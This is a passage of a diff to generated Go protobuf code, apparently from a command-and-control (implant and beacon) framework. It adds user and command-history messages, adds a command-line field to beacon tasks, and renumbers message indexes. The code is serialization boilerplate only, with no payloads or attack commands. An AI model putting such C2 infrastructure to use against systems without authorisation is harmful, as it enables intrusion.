&file_clientpb_client_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Users.ProtoReflect.Descriptor instead. +func (*Users) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{1} +} + +func (x *Users) GetUsers() []*User { + if x != nil { + return x.Users + } + return nil +} + +type User struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"` + LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"` + Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"` +} + +func (x *User) Reset() { + *x = User{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *User) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*User) ProtoMessage() {} + +func (x *User) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use User.ProtoReflect.Descriptor instead. +func (*User) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{2} +} + +func (x *User) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *User) GetOnline() bool { + if x != nil { + return x.Online + } + return false +} + +func (x *User) GetLastSeen() int64 { + if x != nil { + return x.LastSeen + } + return 0 +} + +func (x *User) GetClients() int32 { + if x != nil { + return x.Clients + } + return 0 +} + +// [ Client Logs ] ------------------------------------------ type ClientLogData struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1177,7 +1295,7 @@ type ClientLogData struct { func (x *ClientLogData) Reset() { *x = ClientLogData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1190,7 +1308,7 @@ func (x *ClientLogData) String() string { func (*ClientLogData) ProtoMessage() {} func (x *ClientLogData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[1] + mi := &file_clientpb_client_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1203,19 +1321,265 @@ func (x *ClientLogData) ProtoReflect() protoreflect.Message { // Deprecated: Use ClientLogData.ProtoReflect.Descriptor instead. func (*ClientLogData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{1} + return file_clientpb_client_proto_rawDescGZIP(), []int{3} } func (x *ClientLogData) GetStream() string { if x != nil { - return x.Stream + return x.Stream + } + return "" +} + +func (x *ClientLogData) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +type ImplantCommand struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Stream string `protobuf:"bytes,1,opt,name=Stream,proto3" json:"Stream,omitempty"` + User string `protobuf:"bytes,2,opt,name=User,proto3" json:"User,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + ExecutedAt int64 `protobuf:"varint,5,opt,name=ExecutedAt,proto3" json:"ExecutedAt,omitempty"` + Block string `protobuf:"bytes,6,opt,name=Block,proto3" json:"Block,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *ImplantCommand) Reset() { + *x = ImplantCommand{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *ImplantCommand) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ImplantCommand) ProtoMessage() {} + +func (x *ImplantCommand) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ImplantCommand.ProtoReflect.Descriptor instead. +func (*ImplantCommand) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{4} +} + +func (x *ImplantCommand) GetStream() string { + if x != nil { + return x.Stream + } + return "" +} + +func (x *ImplantCommand) GetUser() string { + if x != nil { + return x.User + } + return "" +} + +func (x *ImplantCommand) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *ImplantCommand) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *ImplantCommand) GetExecutedAt() int64 { + if x != nil { + return x.ExecutedAt + } + return 0 +} + +func (x *ImplantCommand) GetBlock() string { + if x != nil { + return x.Block + } + return "" +} + +func (x *ImplantCommand) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +type HistoryRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + UserOnly bool `protobuf:"varint,1,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + MaxLines int32 `protobuf:"varint,2,opt,name=MaxLines,proto3" json:"MaxLines,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *HistoryRequest) Reset() { + *x = HistoryRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *HistoryRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HistoryRequest) ProtoMessage() {} + +func (x *HistoryRequest) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. +func (*HistoryRequest) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{5} +} + +func (x *HistoryRequest) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *HistoryRequest) GetMaxLines() int32 { + if x != nil { + return x.MaxLines + } + return 0 +} + +func (x *HistoryRequest) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *HistoryRequest) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *HistoryRequest) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +// History - Command history content. +type History struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + HistoryLen int32 `protobuf:"varint,2,opt,name=HistoryLen,proto3" json:"HistoryLen,omitempty"` + UserOnly bool `protobuf:"varint,3,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + Commands []*ImplantCommand `protobuf:"bytes,4,rep,name=Commands,proto3" json:"Commands,omitempty"` + Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"` +} + +func (x *History) Reset() { + *x = History{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *History) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*History) ProtoMessage() {} + +func (x *History) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use History.ProtoReflect.Descriptor instead. +func (*History) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{6} +} + +func (x *History) GetHistoryLen() int32 { + if x != nil { + return x.HistoryLen + } + return 0 +} + +func (x *History) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *History) GetCommands() []*ImplantCommand { + if x != nil { + return x.Commands } - return "" + return nil } -func (x *ClientLogData) GetData() []byte { +func (x *History) GetResponse() *commonpb.Response { if x != nil { - return x.Data + return x.Response } return nil } @@ -1256,7 +1620,7 @@ type Session struct { func (x *Session) Reset() { *x = Session{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1269,7 +1633,7 @@ func (x *Session) String() string { func (*Session) ProtoMessage() {} func (x *Session) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1282,7 +1646,7 @@ func (x *Session) ProtoReflect() protoreflect.Message { // Deprecated: Use Session.ProtoReflect.Descriptor instead. func (*Session) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{2} + return file_clientpb_client_proto_rawDescGZIP(), []int{7} } func (x *Session) GetID() string { @@ -1498,7 +1862,7 @@ type Beacon struct { func (x *Beacon) Reset() { *x = Beacon{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1511,7 +1875,7 @@ func (x *Beacon) String() string { func (*Beacon) ProtoMessage() {} func (x *Beacon) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1524,7 +1888,7 @@ func (x *Beacon) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacon.ProtoReflect.Descriptor instead. func (*Beacon) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{3} + return file_clientpb_client_proto_rawDescGZIP(), []int{8} } func (x *Beacon) GetID() string { @@ -1734,7 +2098,7 @@ type Beacons struct { func (x *Beacons) Reset() { *x = Beacons{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1747,7 +2111,7 @@ func (x *Beacons) String() string { func (*Beacons) ProtoMessage() {} func (x *Beacons) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1760,7 +2124,7 @@ func (x *Beacons) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacons.ProtoReflect.Descriptor instead. func (*Beacons) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{4} + return file_clientpb_client_proto_rawDescGZIP(), []int{9} } func (x *Beacons) GetBeacons() []*Beacon { @@ -1775,21 +2139,22 @@ type BeaconTask struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` - BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` - State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` - SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` - CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` - Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` - Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` - Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` + BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` + State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` + SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` + CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` + Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` + Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` + Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *BeaconTask) Reset() { *x = BeaconTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1802,7 +2167,7 @@ func (x *BeaconTask) String() string { func (*BeaconTask) ProtoMessage() {} func (x *BeaconTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1815,7 +2180,7 @@ func (x *BeaconTask) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTask.ProtoReflect.Descriptor instead. func (*BeaconTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{5} + return file_clientpb_client_proto_rawDescGZIP(), []int{10} } func (x *BeaconTask) GetID() string { @@ -1881,6 +2246,13 @@ func (x *BeaconTask) GetDescription() string { return "" } +func (x *BeaconTask) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + type BeaconTasks struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1893,7 +2265,7 @@ type BeaconTasks struct { func (x *BeaconTasks) Reset() { *x = BeaconTasks{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1906,7 +2278,7 @@ func (x *BeaconTasks) String() string { func (*BeaconTasks) ProtoMessage() {} func (x *BeaconTasks) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1919,7 +2291,7 @@ func (x *BeaconTasks) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTasks.ProtoReflect.Descriptor instead. func (*BeaconTasks) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{6} + return file_clientpb_client_proto_rawDescGZIP(), []int{11} } func (x *BeaconTasks) GetBeaconID() string { @@ -1950,7 +2322,7 @@ type ImplantC2 struct { func (x *ImplantC2) Reset() { *x = ImplantC2{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1963,7 +2335,7 @@ func (x *ImplantC2) String() string { func (*ImplantC2) ProtoMessage() {} func (x *ImplantC2) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1976,7 +2348,7 @@ func (x *ImplantC2) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantC2.ProtoReflect.Descriptor instead. func (*ImplantC2) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{7} + return file_clientpb_client_proto_rawDescGZIP(), []int{12} } func (x *ImplantC2) GetID() string { @@ -2063,7 +2435,7 @@ type ImplantConfig struct { func (x *ImplantConfig) Reset() { *x = ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2076,7 +2448,7 @@ func (x *ImplantConfig) String() string { func (*ImplantConfig) ProtoMessage() {} func (x *ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2089,7 +2461,7 @@ func (x *ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantConfig.ProtoReflect.Descriptor instead. func (*ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{8} + return file_clientpb_client_proto_rawDescGZIP(), []int{13} } func (x *ImplantConfig) GetID() string { @@ -2421,7 +2793,7 @@ type TrafficEncoder struct { func (x *TrafficEncoder) Reset() { *x = TrafficEncoder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2434,7 +2806,7 @@ func (x *TrafficEncoder) String() string { func (*TrafficEncoder) ProtoMessage() {} func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2447,7 +2819,7 @@ func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoder.ProtoReflect.Descriptor instead. func (*TrafficEncoder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{9} + return file_clientpb_client_proto_rawDescGZIP(), []int{14} } func (x *TrafficEncoder) GetID() uint64 { @@ -2490,7 +2862,7 @@ type TrafficEncoderMap struct { func (x *TrafficEncoderMap) Reset() { *x = TrafficEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2503,7 +2875,7 @@ func (x *TrafficEncoderMap) String() string { func (*TrafficEncoderMap) ProtoMessage() {} func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2516,7 +2888,7 @@ func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderMap.ProtoReflect.Descriptor instead. func (*TrafficEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{10} + return file_clientpb_client_proto_rawDescGZIP(), []int{15} } func (x *TrafficEncoderMap) GetEncoders() map[string]*TrafficEncoder { @@ -2542,7 +2914,7 @@ type TrafficEncoderTest struct { func (x *TrafficEncoderTest) Reset() { *x = TrafficEncoderTest{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2555,7 +2927,7 @@ func (x *TrafficEncoderTest) String() string { func (*TrafficEncoderTest) ProtoMessage() {} func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2568,7 +2940,7 @@ func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTest.ProtoReflect.Descriptor instead. func (*TrafficEncoderTest) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{11} + return file_clientpb_client_proto_rawDescGZIP(), []int{16} } func (x *TrafficEncoderTest) GetName() string { @@ -2627,7 +2999,7 @@ type TrafficEncoderTests struct { func (x *TrafficEncoderTests) Reset() { *x = TrafficEncoderTests{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2640,7 +3012,7 @@ func (x *TrafficEncoderTests) String() string { func (*TrafficEncoderTests) ProtoMessage() {} func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2653,7 +3025,7 @@ func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTests.ProtoReflect.Descriptor instead. func (*TrafficEncoderTests) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{12} + return file_clientpb_client_proto_rawDescGZIP(), []int{17} } func (x *TrafficEncoderTests) GetEncoder() *TrafficEncoder { @@ -2697,7 +3069,7 @@ type ExternalImplantConfig struct { func (x *ExternalImplantConfig) Reset() { *x = ExternalImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2710,7 +3082,7 @@ func (x *ExternalImplantConfig) String() string { func (*ExternalImplantConfig) ProtoMessage() {} func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2723,7 +3095,7 @@ func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantConfig.ProtoReflect.Descriptor instead. func (*ExternalImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{13} + return file_clientpb_client_proto_rawDescGZIP(), []int{18} } func (x *ExternalImplantConfig) GetConfig() *ImplantConfig { @@ -2760,7 +3132,7 @@ type ExternalImplantBinary struct { func (x *ExternalImplantBinary) Reset() { *x = ExternalImplantBinary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2773,7 +3145,7 @@ func (x *ExternalImplantBinary) String() string { func (*ExternalImplantBinary) ProtoMessage() {} func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2786,7 +3158,7 @@ func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantBinary.ProtoReflect.Descriptor instead. func (*ExternalImplantBinary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{14} + return file_clientpb_client_proto_rawDescGZIP(), []int{19} } func (x *ExternalImplantBinary) GetName() string { @@ -2824,7 +3196,7 @@ type ImplantBuilds struct { func (x *ImplantBuilds) Reset() { *x = ImplantBuilds{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2837,7 +3209,7 @@ func (x *ImplantBuilds) String() string { func (*ImplantBuilds) ProtoMessage() {} func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2850,7 +3222,7 @@ func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuilds.ProtoReflect.Descriptor instead. func (*ImplantBuilds) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{15} + return file_clientpb_client_proto_rawDescGZIP(), []int{20} } func (x *ImplantBuilds) GetConfigs() map[string]*ImplantConfig { @@ -2885,7 +3257,7 @@ type ImplantStageReq struct { func (x *ImplantStageReq) Reset() { *x = ImplantStageReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2898,7 +3270,7 @@ func (x *ImplantStageReq) String() string { func (*ImplantStageReq) ProtoMessage() {} func (x *ImplantStageReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2911,7 +3283,7 @@ func (x *ImplantStageReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantStageReq.ProtoReflect.Descriptor instead. func (*ImplantStageReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{16} + return file_clientpb_client_proto_rawDescGZIP(), []int{21} } func (x *ImplantStageReq) GetBuild() []string { @@ -2951,7 +3323,7 @@ type ImplantBuild struct { func (x *ImplantBuild) Reset() { *x = ImplantBuild{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2964,7 +3336,7 @@ func (x *ImplantBuild) String() string { func (*ImplantBuild) ProtoMessage() {} func (x *ImplantBuild) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2977,7 +3349,7 @@ func (x *ImplantBuild) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuild.ProtoReflect.Descriptor instead. func (*ImplantBuild) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{17} + return 